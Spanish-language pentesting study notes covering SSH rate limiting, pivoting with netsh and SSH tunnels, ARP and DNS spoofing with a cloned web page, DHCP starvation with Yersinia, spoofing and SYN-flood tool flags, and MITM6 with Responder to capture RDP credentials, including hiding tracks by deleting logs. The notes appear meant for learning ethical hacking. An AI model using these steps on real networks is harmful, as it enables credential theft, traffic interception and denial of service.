kali@kalihost$ iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
kali@kalihost$ iptables -A INPUT -p tcp --dport 22 -s IP1_PERMITIDA -j ACCEPT
kali@kalihost$ iptables -A INPUT -p tcp --dport 22 -s IP2_PERMITIDA -j ACCEPT
Reemplaza IP1_PERMITIDA y IP2_PERMITIDA con las direcciones IP permitidas para acceder al servicio SSH. Esta regla permite únicamente a esas IPs acceder a SSH y bloquea otros intentos después de un número especificado de intentos fallidos.
___
## PIVOTING
El pivoting, en el contexto de la seguridad informática, es una técnica avanzada utilizada por los profesionales de la ciberseguridad y los ethical hackers para expandir su acceso a una red, moviéndose lateralmente a través de sistemas comprometidos. Esta estrategia es invaluable en auditorías de seguridad, ya que permite explorar más profundamente una red, identificar vulnerabilidades y evaluar la resistencia de los sistemas frente a posibles ataques. En este artículo, exploraremos qué es el pivoting, cómo funciona y por qué es una herramienta esencial en el arsenal de un auditor de seguridad.
**¿Qué es el Pivoting?**
El pivoting implica el uso de un sistema comprometido como puente para alcanzar otros sistemas dentro de la red. Imagina un escenario donde un ethical hacker ha logrado comprometer una máquina en la red objetivo. En lugar de detenerse allí, el hacker utiliza esa máquina como un trampolín para alcanzar otras partes de la red que no serían accesibles directamente.
El proceso comienza con el compromiso de una máquina en la red objetivo, ya sea a través de vulnerabilidades, exploits o ingeniería social. Una vez que el atacante ha comprometido una máquina, establece una conexión desde esa máquina a través de la red. A partir de la máquina comprometida inicial, el atacante utiliza técnicas y herramientas para explorar y moverse lateralmente dentro de la red. Esto podría implicar el escaneo de puertos, la búsqueda de otras vulnerabilidades y la escalada de privilegios. Con acceso a nuevas máquinas, el atacante repite el proceso, comprometiendo máquinas adicionales y expandiendo su presencia en la red.
El pivoting permite a los auditores de seguridad identificar vulnerabilidades en diversas partes de la red que de otro modo podrían haber permanecido ocultas. Al moverse a través de diferentes segmentos de red, los auditores pueden evaluar la resistencia global de la infraestructura, identificando posibles puntos débiles.
**Basic pivoting**
Un atacante, tras comprometer un sistema en la red, decide bloquear el acceso a un dominio específico utilizando iptables, una herramienta de filtrado de paquetes en sistemas basados en Linux. A pesar del bloqueo, el atacante puede aprovechar servicios externos para acceder al dominio bloqueado. En este caso, utilizará Google Traductor como un intermediario. El atacante introduce la URL bloqueada en Google Traductor y utiliza la función de vista previa para visualizar el contenido traducido.

Google Traductor actúa como un proxy, solicitando el contenido de "example.com" en nombre del atacante y presentándolo como una traducción. Este método permite eludir las restricciones de iptables, ya que el tráfico no va directamente al dominio bloqueado.
#### PIVONTING - PORT FORWARDING
El Port Forwarding, o reenvío de puertos, es una técnica que permite redirigir el tráfico desde un puerto específico de un dispositivo a otro. Se utiliza comúnmente en entornos de redes para acceder a servicios alojados en una red interna desde el exterior, superando las barreras de seguridad impuestas por routers y firewalls. El funcionamiento del Port Forwarding implica la interceptación y redirección de paquetes que llegan a un determinado puerto de un dispositivo, llevándolos hacia otro dispositivo y puerto designado.

https://deephacking.tech/pivoting-con-netsh/

```
C:\Windows\system32>netsh advfirewall firewall add rule name="Allow pivoting" dir=in action=allow protocol=TCP localport=8777
Aceptar
C:\Windows\system32>netsh interface portproxy show v4tov4
C:\Windows\system32>netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8777 connectaddress=192.168.1.40 connectport=8080 protocol=tcp
C:\Windows\system32>netsh interface portproxy show v4tov4
Escuchar en ipv4: Conectar a ipv4:
Dirección Puerto Dirección Puerto
--------------- ---------- --------------- ----------
0.0.0.0 8777 192.168.1.40 8080
```
En este ejemplo, el Port Forwarding se realiza en el puerto 8777, redirigiendo el tráfico entrante a la dirección IP 192.168.1.40 y al puerto 8080. Esto permite a un atacante, en un escenario ético de hacking, acceder a servicios internos de la red a través del puerto 8777 desde una ubicación remota.
En el contexto de la seguridad informática, el Port Forwarding está estrechamente relacionado con el pivoting. Pivoting implica la expansión del acceso en una red comprometida, y el Port Forwarding se convierte en una herramienta esencial para lograrlo. Al reenviar puertos, un atacante puede sortear restricciones de red y acceder a servicios internos desde una ubicación remota.

### MORE PIVOTING
Pivoting con SSH:
En el ámbito de la seguridad informática, el Dynamic Pivoting es una técnica que permite crear un túnel seguro y dinámico mediante el protocolo SSH. Este túnel actúa como un SOCKS Proxy, canalizando el tráfico de red a través de una conexión segura y facilitando la expansión del acceso en una red.
```
[+] DYNAMIC PIVOTING SOCKS Proxy
$ ssh -D8080 [user]@[host]
ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command
[+] Local Port Forwarding
$ ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```
Este comando establece una conexión SSH con el host especificado, creando un SOCKS Proxy en el puerto 8080 del dispositivo local. Todo el tráfico que ingrese por este puerto se enruta a través de la conexión SSH, permitiendo al usuario acceder a recursos internos de la red remota. Este comando realiza la misma función que el anterior, pero con la adición de las opciones -N -f, lo que significa que SSH no ejecutará un comando remoto y se ejecutará en segundo plano.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md
___
https://tryhackme.com/room/passiverecon
https://tryhackme.com/room/activerecon
https://www.root-me.org/en/Challenges/Network/?tri_co=id_mot&sens_co=-1
___
### MITM BASICS
Que son los ataques "Men in the middle"? Porque son muy importante en cuento a seguridad en redes? Que objetivo tienen este tipo de ataques?
## ARP SPOOFING - THE BASIC MITM
#### Protocolo ARP (Address Resolution Protocol):
El Protocolo de Resolución de Direcciones (ARP) es un componente esencial en la comunicación de red que opera en la capa de enlace de datos del modelo OSI. Su función principal es mapear direcciones de capa de red (como direcciones IP) a direcciones de capa de enlace (direcciones MAC). Cuando un dispositivo necesita enviar datos a otro en la misma red local, utiliza ARP para determinar la dirección MAC asociada a la dirección IP de destino.
#### Funcionamiento de la Tabla ARP Local:
Cada dispositivo en una red local mantiene una tabla ARP local, también conocida como caché ARP. Esta tabla almacena las asociaciones entre direcciones IP y direcciones MAC de dispositivos en la red. Cuando un equipo desea comunicarse con otro, verifica primero su tabla ARP local. Si la entrada correspondiente está presente y no ha expirado, el equipo utiliza la dirección MAC conocida para dirigir el tráfico.
Si la dirección MAC no está en la tabla o la entrada ha expirado, el dispositivo emite una solicitud ARP a la red. La solicitud ARP es una consulta que pregunta "¿quién tiene esta dirección IP?". El dispositivo destinatario responde con su dirección MAC y, a partir de ese momento, la tabla ARP local del solicitante se actualiza con esta nueva información.

#### Dirección MAC (Media Access Control):
La dirección MAC es un identificador único asignado a la interfaz de red de un dispositivo. Se compone de 48 bits (6 bytes) y suele representarse en formato hexadecimal. La dirección MAC es única a nivel mundial y está vinculada a la tarjeta de interfaz de red (NIC) de un dispositivo. Esta dirección es esencial para la comunicación en la capa de enlace de datos, ya que ayuda a dirigir los paquetes de datos a través de la red física.
En el contexto de ciberseguridad, ARP puede ser susceptible a ataques como ARP spoofing, donde un atacante envía información ARP falsa para asociar direcciones IP legítimas con direcciones MAC incorrectas. Esto puede conducir a la interceptación de datos o ataques de tipo "Man-in-the-Middle". Para mitigar estos riesgos, se implementan técnicas como el monitoreo de la tabla ARP, el uso de ARP estático y la autenticación de dispositivos en la red.
En un entorno de seguridad, es crucial tener un conocimiento profundo de la operación de ARP y tomar medidas proactivas para protegerse contra posibles vulnerabilidades en la resolución de direcciones en la red local.
### **MITM :: ARP SPOOFING**
https://www.youtube.com/watch?v=SXZmD-Q18jk
#### ARP Spoofing (ARP Spoofing Attack):
El ARP Spoofing, también conocido como ARP Poisoning, es una técnica utilizada en ciberseguridad para realizar ataques "Man-in-the-Middle" (MitM) en una red local. En un ataque de ARP Spoofing, un atacante envía tramas ARP falsificadas a la red, asociando direcciones IP legítimas con direcciones MAC incorrectas. Esto conduce a que los dispositivos en la red redirijan su tráfico a través del atacante, quien puede interceptar, modificar o simplemente observar la comunicación entre dos partes legítimas.
Funcionamiento a Bajo Nivel en un Ataque "Man-in-the-Middle":
**Detección de ARP Request:**
Cuando un dispositivo en la red local necesita comunicarse con otro, envía una solicitud ARP preguntando por la dirección MAC asociada a una dirección IP específica. Esta solicitud se realiza de forma broadcast.
**Envío de Tramas ARP Falsificadas:**
El atacante, que está en la misma red local, intercepta estas solicitudes y responde con tramas ARP falsificadas. En la respuesta falsificada, el atacante asocia su propia dirección MAC con la dirección IP del dispositivo de destino.
**Actualización de Tablas ARP:**
Los dispositivos en la red actualizan sus tablas ARP locales con la información falsa proporcionada por el atacante. Ahora, cuando los dispositivos envían tráfico al dispositivo de destino, utilizan la dirección MAC falsa proporcionada por el atacante.
**Intercepción del Tráfico:**
Todo el tráfico entre los dispositivos legítimos pasa a través del atacante. El atacante puede analizar, modificar o simplemente observar el tráfico antes de reenviarlo al destino legítimo.
**Persistencia:**
Para mantener la persistencia en el ataque, el atacante continúa enviando tramas ARP falsificadas a intervalos regulares para mantener actualizadas las tablas ARP de los dispositivos en la red.
El ARP Spoofing puede mitigarse mediante el uso de protocolos de seguridad, como ARP Spoofing Detection, o mediante el cifrado del tráfico, como el uso de HTTPS para evitar la manipulación de datos sensibles.
### DNSSPOOFING
El DNS Spoofing es una técnica que busca corromper o manipular la información almacenada en la caché DNS (Domain Name System) de un sistema o red. El DNS es responsable de traducir nombres de dominio legibles por humanos en direcciones IP utilizables por las máquinas. En un ataque de DNS Spoofing, un atacante introduce información falsa en la caché DNS de un sistema, redirigiendo así el tráfico de red a ubicaciones maliciosas controladas por el atacante.
**Relación con ARP Spoofing:**
El DNS Spoofing y ARP Spoofing están relacionados, ya que ambos apuntan a realizar ataques "Man-in-the-Middle". En un ataque coordinado, un atacante podría realizar ARP Spoofing para interceptar y redirigir el tráfico de red, mientras que el DNS Spoofing se utiliza para manipular las respuestas del sistema DNS y dirigir el tráfico hacia servidores maliciosos controlados por el atacante.
**Solicitud DNS:**
Cuando un usuario intenta acceder a un sitio web mediante su nombre de dominio, el sistema realiza una consulta DNS para traducir ese nombre de dominio en una dirección IP.
Respuesta Falsa en la Caché DNS:
En un ataque de DNS Spoofing, el atacante intercepta y responde a la solicitud DNS antes que el servidor DNS legítimo.
El atacante envía una respuesta falsificada que asocia el nombre de dominio a una dirección IP controlada por el atacante.
Almacenamiento en la Caché Local:
La respuesta falsificada se almacena en la caché DNS local del sistema atacado.
Las futuras solicitudes del usuario a ese nombre de dominio se resolverán utilizando la información falsa almacenada en la caché local, dirigiendo el tráfico a la dirección IP maliciosa.
___
- ARPPOISONING - DNSSPOOFING
Ejemplo con: https://github.com/n0nexist/Trafficante
SingleFile: Extensión para clonar páginas web completas en un solo archivo HTML.
Apache2: Servidor web utilizado para alojar la página clonada.
```
sudo apt-get install build-essential python-dev libnetfilter-queue-dev
pip3 install -U git+https://github.com/kti/python-netfilterqueue
┌──(root㉿kali)-[/home/kali/Trafficante-1.2.1]
└─# python3 -m pip install --upgrade setuptools
```
https://github.com/n0nexist/Trafficante/blob/main/wiki/dns-spoofing.md
- MITM DNS SPOOFING
Pasos de la Prueba de Concepto:
**1. Configuración del Entorno:**
Configuramos un entorno controlado con una máquina atacante y una máquina objetivo en la misma red.
**2. Clonación de la Página Web:**
Utilizamos la extensión SingleFile para clonar la página web legítima que queremos utilizar en el ataque. Esto nos permite crear una réplica exacta de la página.

**3. Configuración del Servidor Apache2:**
Configuramos un servidor web Apache2 en la máquina atacante y alojamos la página clonada en el directorio del servidor.
**4. ARP Spoofing con Traficante:**
Utilizamos la herramienta Traficante para realizar un ataque de ARP Spoofing. Esto implica enviar anuncios ARP falsos a la máquina objetivo, haciendo que crea que la dirección MAC del atacante es la dirección MAC del enrutador.

**5. Verificación de la Tabla ARP del Objetivo:**
En la máquina objetivo, verificamos la tabla ARP para confirmar que la dirección MAC asociada con la puerta de enlace (router) ha sido manipulada y ahora apunta a la dirección MAC del atacante.
**6. Inicio del Ataque DNS Spoofing:**
Utilizamos Traficante para realizar un ataque de DNS Spoofing. Modificamos las respuestas DNS para redirigir el tráfico desde el dominio legítimo hacia la dirección IP del servidor web Apache2 que aloja la página clonada.
**7. Verificación del Ataque:**

___
https://github.com/medpaf/hawk


```
-macspoof -source <SOURCE MAC> -iface <INTERFACE>
-ipspoof -source <SOURCE IP> <SOURCE PORT> -target <TARGET IP/FQDN> <TARGET PORT>
-synflood -source <SOURCE PORT> -target <TARGET IP/FQDN> <TARGET PORT>
-deauth -target <TARGET MAC> -gateway <GATEWAY MAC> -iface <INTERFACE>
```
___
## ADVANCED MITM
### Protocolo DHCP (Dynamic Host Configuration Protocol):
El DHCP es un protocolo de red que facilita la asignación automática de direcciones IP y la configuración de parámetros de red a dispositivos cuando se conectan a una red local. Su objetivo principal es simplificar la administración de direcciones IP y otros detalles de configuración en una red.
Cómo Funciona:
```
Petición DHCP (DHCP Discover):
Cuando un dispositivo se conecta a una red, envía una petición DHCP Discover, buscando un servidor DHCP disponible en la red.
Las peticiones DISCOVERY son la fase inicial del proceso DHCP, donde los dispositivos envían solicitudes de descubrimiento para encontrar servidores DHCP disponibles en la red. Durante esta fase, los dispositivos aún no tienen una dirección IP y están buscando un servidor DHCP para obtener una asignación.
Oferta DHCP (DHCP Offer):
Los servidores DHCP disponibles responden con una oferta DHCP que incluye una dirección IP disponible y otros parámetros de configuración.
Petición DHCP (DHCP Request):
El dispositivo selecciona una de las ofertas y envía una petición DHCP Request para confirmar la asignación de la dirección IP ofrecida por el servidor.
Asignación DHCP (DHCP Acknowledge):
El servidor DHCP seleccionado responde con un mensaje DHCP Acknowledge, confirmando la asignación de la dirección IP y proporcionando cualquier otra configuración necesaria.
Renovación y Liberación:
Durante el tiempo de arrendamiento de la dirección IP, el dispositivo puede renovar la asignación o liberarla cuando ya no la necesita.
Información Añadida a los Nuevos Equipos:
El servidor DHCP puede proporcionar varios parámetros de configuración, incluyendo:
- Dirección IP.
- Máscara de subred.
- Puerta de enlace predeterminada.
- Servidores DNS.
- Servidores WINS (si es aplicable).
- Duración del arrendamiento (tiempo durante el cual la dirección IP está asignada).
```

## Consideraciones de Seguridad:
- Suplantación (Spoofing):
DHCP puede ser susceptible a ataques de suplantación, donde un servidor DHCP malicioso intenta asignar direcciones IP y configuraciones incorrectas. Se pueden implementar medidas, como la autenticación de servidores DHCP y la configuración de listas blancas de servidores DHCP conocidos.
Rogue DHCP Servers:
La presencia de servidores DHCP no autorizados en la red puede causar problemas. Configurar medidas de seguridad en la red para detectar y bloquear servidores DHCP no autorizados es esencial.
- Encriptación:
El uso de DHCP seguro (DHCPv4 Secure) o DHCPv6 con IPsec proporciona una capa adicional de seguridad mediante la encriptación de las comunicaciones entre clientes y servidores DHCP.
Configuración del Servidor:
Configurar adecuadamente el servidor DHCP, limitando la cantidad de direcciones IP disponibles para asignación, estableciendo tiempos de arrendamiento apropiados y asegurándose de que el servidor DHCP esté protegido contra accesos no autorizados.
## DHCP STARVATION .
**Ataque DHCP Starvation:**
El ataque DHCP Starvation es una técnica en la cual un atacante intenta agotar todos los disponibles de direcciones IP en un servidor DHCP, dejando sin direcciones disponibles para dispositivos legítimos que intentan obtener una asignación de IP.
**Generación de Peticiones DHCP Discover:**
El atacante genera continuamente peticiones DHCP Discover simulando ser múltiples clientes en la red.
- **Petición de Direcciones IP:** Cada petición DHCP Discover incluye una solicitud para obtener una dirección IP del servidor DHCP.
- **Agotamiento de Direcciones IP:** El servidor DHCP asigna dinámicamente direcciones IP a los clientes, pero al recibir un gran número de peticiones de descubrimiento falsas, se ve forzado a asignar direcciones IP rápidamente. Con el tiempo, el atacante puede agotar todas las direcciones IP disponibles en el pool del servidor DHCP.
___
- **yersinia:**
```
Yersinia es una herramienta de código abierto que se utiliza para realizar pruebas de seguridad y evaluación de vulnerabilidades en redes. Está diseñada específicamente para ayudar a los profesionales de seguridad a identificar y analizar debilidades en protocolos de red y sistemas de seguridad.
Algunas de las características y capacidades clave de Yersinia incluyen:
- Soporte para Diversos Protocolos: Yersinia es compatible con una variedad de protocolos de red, lo que lo hace útil para realizar pruebas en diferentes capas del modelo OSI, como ARP, DHCP, SNMP, HSRP, CDP, VRRP, entre otros.
- Ataques de Ingeniería Inversa: La herramienta permite realizar ataques de ingeniería inversa en protocolos de red, lo que incluye falsificación de paquetes y pruebas de interoperabilidad.
- Identificación de Vulnerabilidades: Yersinia puede ayudar a identificar vulnerabilidades en la configuración y operación de los dispositivos de red.
- Auditoría de Seguridad: Los profesionales de seguridad pueden utilizar Yersinia para auditar la seguridad de una red, detectar configuraciones incorrectas o inseguras, y recomendar medidas de mitigación.
```

Yersinia puede utilizarse para llevar a cabo un ataque DHCP Starvation. Aquí hay un ejemplo general de cómo realizarlo con Yersinia:
- **Configuración del Interfaz:**
Configura la interfaz de red en modo promiscuo para capturar y analizar el tráfico DHCP.
- **Iniciar Yersinia:**
Ejecuta Yersinia con la opción -G para acceder a la interfaz gráfica.
- **Seleccionar Ataque DHCP:**
Dentro de Yersinia, selecciona el módulo de ataque DHCP Starvation.
- **Configurar Parámetros:**
Configura los parámetros, como la interfaz de red y la dirección del servidor DHCP objetivo.
- **Iniciar Ataque:**
Inicia el ataque, y Yersinia comenzará a enviar peticiones DHCP Discover para agotar las direcciones IP disponibles en el servidor DHCP objetivo.
Impacto en una Auditoría de Seguridad:
El ataque DHCP Starvation puede tener varios impactos en una auditoría de seguridad:
- **Denegación de Servicio (DoS):**
Puede causar una denegación de servicio al agotar las direcciones IP disponibles, lo que impide que dispositivos legítimos obtengan una asignación de dirección IP válida.
- **Posible Suplantación de Identidad:**
El agotamiento de direcciones IP podría llevar a que dispositivos legítimos utilicen direcciones IP asignadas previamente a otros, causando conflictos y posiblemente permitiendo ataques de suplantación de identidad.
- **Desconexión de Dispositivos Legítimos:**
Dispositivos legítimos pueden perder la conexión a la red si no pueden obtener una dirección IP válida.
- **Descubrimiento de Vulnerabilidades:**
Durante una auditoría de seguridad, el ataque DHCP Starvation puede ayudar a identificar posibles vulnerabilidades en la configuración del servidor DHCP, como una asignación inadecuada de direcciones IP o una falta de medidas de seguridad.
## IPv6
### Introducción
IPv6, o Protocolo de Internet versión 6, es la última versión del protocolo IP que sustituye a IPv4. A medida que el número de dispositivos conectados a Internet aumenta exponencialmente, IPv6 se ha convertido en una necesidad para abordar la escasez de direcciones IP y mejorar la eficiencia de las comunicaciones en red.
## Funcionamiento de IPv6
IPv6 utiliza direcciones de 128 bits en contraste con las direcciones de 32 bits de IPv4. Esto proporciona un espacio de direcciones virtualmente ilimitado, lo que es esencial en un mundo donde cada dispositivo conectado requiere una dirección única. IPv6 utiliza un formato hexadecimal para representar direcciones, lo que simplifica la notación y facilita la gestión. Cada dispositivo en una red IPv6 tiene una dirección única, que consta de una parte de red y una parte de interfaz. La parte de red identifica la red a la que pertenece el dispositivo, mientras que la parte de interfaz identifica de manera única el dispositivo en esa red.
A diferencia de IPv4, IPv6 elimina la necesidad de NAT (Traducción de Direcciones de Red) para superar la escasez de direcciones. Además, IPv6 simplifica la cabecera de los paquetes, mejora la eficiencia del enrutamiento y ofrece soporte integrado para características de seguridad como IPSec.

#### Implicaciones en Ciberseguridad
IPv6 presenta desafíos y consideraciones únicas en términos de ciberseguridad. La expansión del espacio de direcciones puede dificultar el monitoreo efectivo del tráfico y aumentar las superficies de ataque. Además, se requiere una gestión adecuada de la transición de IPv4 a IPv6 para evitar vulnerabilidades.
En resumen, IPv6 es esencial para satisfacer las demandas del crecimiento exponencial de dispositivos conectados. Sin embargo, su implementación requiere una comprensión profunda de sus diferencias con IPv4 y la consideración cuidadosa de los desafíos de seguridad asociados.
#### Solicitud DNS por Broadcast
En IPv6, las solicitudes DNS ya no se realizan por broadcast, como en IPv4, sino por medio de multicast. Esto permite una resolución de nombres más eficiente y reduce la carga en la red.
## MITM6
MITM6 es una herramienta diseñada para realizar ataques Man-in-the-Middle (MitM) específicamente orientados a redes IPv6, centrándose en la manipulación de resoluciones DNS (Domain Name System). Vamos a desglosar cómo funciona esta herramienta:
MITM6 monitorea el tráfico DNS en una red IPv6. Esto implica estar atento a las solicitudes de resolución de nombres de dominio realizadas por los dispositivos en la red. Cuando un dispositivo realiza una consulta DNS, MITM6 intercepta esa solicitud. En lugar de permitir que la consulta alcance un servidor DNS legítimo, MITM6 responde a la solicitud por sí mismo.

MITM6 puede llevar a cabo ataques de envenenamiento de caché DNS. Esto implica proporcionar respuestas falsas a las consultas DNS, haciendo que los dispositivos de la red crean que ciertos dominios se encuentran en direcciones IP diferentes a las reales. Después de manipular la resolución DNS, MITM6 puede redirigir el tráfico a través de la propia máquina que ejecuta la herramienta. Esto coloca a MITM6 en el medio de la comunicación entre el dispositivo víctima y el servidor al que está intentando acceder. Al estar en el medio de la comunicación, MITM6 puede capturar y analizar los datos que pasan a través de la red. Esto puede incluir información confidencial, como credenciales de inicio de sesión o cualquier dato transmitido sin cifrar.
Además de manipular DNS, MITM6 puede ser utilizado en conjunto con otras herramientas para realizar diversos ataques, como ataques de envenenamiento de ARP (Address Resolution Protocol) para manipular las tablas de direcciones MAC en la red.
Es crucial destacar que MITM6 se centra en explotar debilidades específicas de las implementaciones de IPv6 en redes. Este tipo de ataque destaca la importancia de asegurar adecuadamente las resoluciones DNS y de implementar medidas de seguridad que protejan contra ataques de MitM, como el uso de DNSSEC (Domain Name System Security Extensions) y la vigilancia activa de la red para detectar comportamientos anómalos.
#### MITM6 + RESPONDER
La combinación de MITM6 y Responder para obtener credenciales de una autenticación a un Protocolo de Escritorio Remoto (RDP) en una red sigue un proceso general de manipulación del tráfico y captura de datos. Ambas herramientas se utilizan para realizar ataques Man-in-the-Middle (MitM) en una red IPv6 y aprovechar las debilidades en la resolución de DNS. Aquí hay un desglose de los pasos:
**1. Configuración de MITM6:**
Configura MITM6 para que actúe como un servidor DNS malicioso en la red IPv6. Esto implica detectar y responder a las solicitudes de resolución DNS.
**2. Detección y Redirección de Tráfico RDP:**
Identifica la máquina objetivo que utiliza RDP para la autenticación. Esto puede lograrse mediante escaneo de red o mediante técnicas de reconocimiento.
**3. Envenenamiento de Caché DNS:**
Utiliza MITM6 para envenenar la caché DNS en la red, proporcionando respuestas falsas a las consultas DNS relacionadas con el servidor RDP objetivo. Esto hará que la máquina de destino crea que el servidor RDP está en una dirección IP controlada por el atacante.
**4. Preparación de Responder:**
Configura Responder para responder a las solicitudes de NetBIOS y LLMNR (Link-Local Multicast Name Resolution), utilizadas en la resolución de nombres en redes locales.
**5. Captura de Credenciales con Responder:**
Cuando la máquina de destino intenta resolver el nombre del servidor RDP, Responder intercepta la solicitud y responde con su propia dirección IP. Esto lleva a que la máquina de destino intente autenticarse con Responder.
**6. Registro de Credenciales:**
Responder registra las credenciales enviadas por la máquina de destino en el intento de autenticación. Estas credenciales pueden incluir nombres de usuario y contraseñas.
**7. Acceso al Servidor RDP Real (Opcional):**
Con las credenciales capturadas, el atacante puede intentar autenticarse en el servidor RDP real utilizando las credenciales obtenidas.
**8. Encubrimiento (Opcional):**
Para evitar la detección, el atacante puede realizar acciones para ocultar su presencia, como borrar registros o evitar el acceso al servidor RDP real para no levantar sospechas.